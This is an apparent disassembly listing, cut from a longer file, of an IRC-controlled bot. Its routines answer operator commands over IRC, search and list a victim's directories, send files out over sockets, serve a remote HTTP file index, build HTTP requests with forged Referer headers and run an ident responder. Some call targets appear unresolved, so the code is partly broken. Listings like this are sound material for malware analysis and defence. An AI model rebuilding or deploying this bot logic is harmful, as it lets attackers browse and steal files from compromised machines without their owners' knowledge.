loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2740000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 27609F5h
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 2680000h
		nop


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		nop
		call	near ptr 26A0428h
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C
		nop
		call	near ptr 26A0E98h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 2790000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2770699h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2770000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		call	near ptr 26A0428h
		nop


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		call	near ptr 25E0000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2740000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		call	near ptr 27609F5h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2720000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2680000h


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA00
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
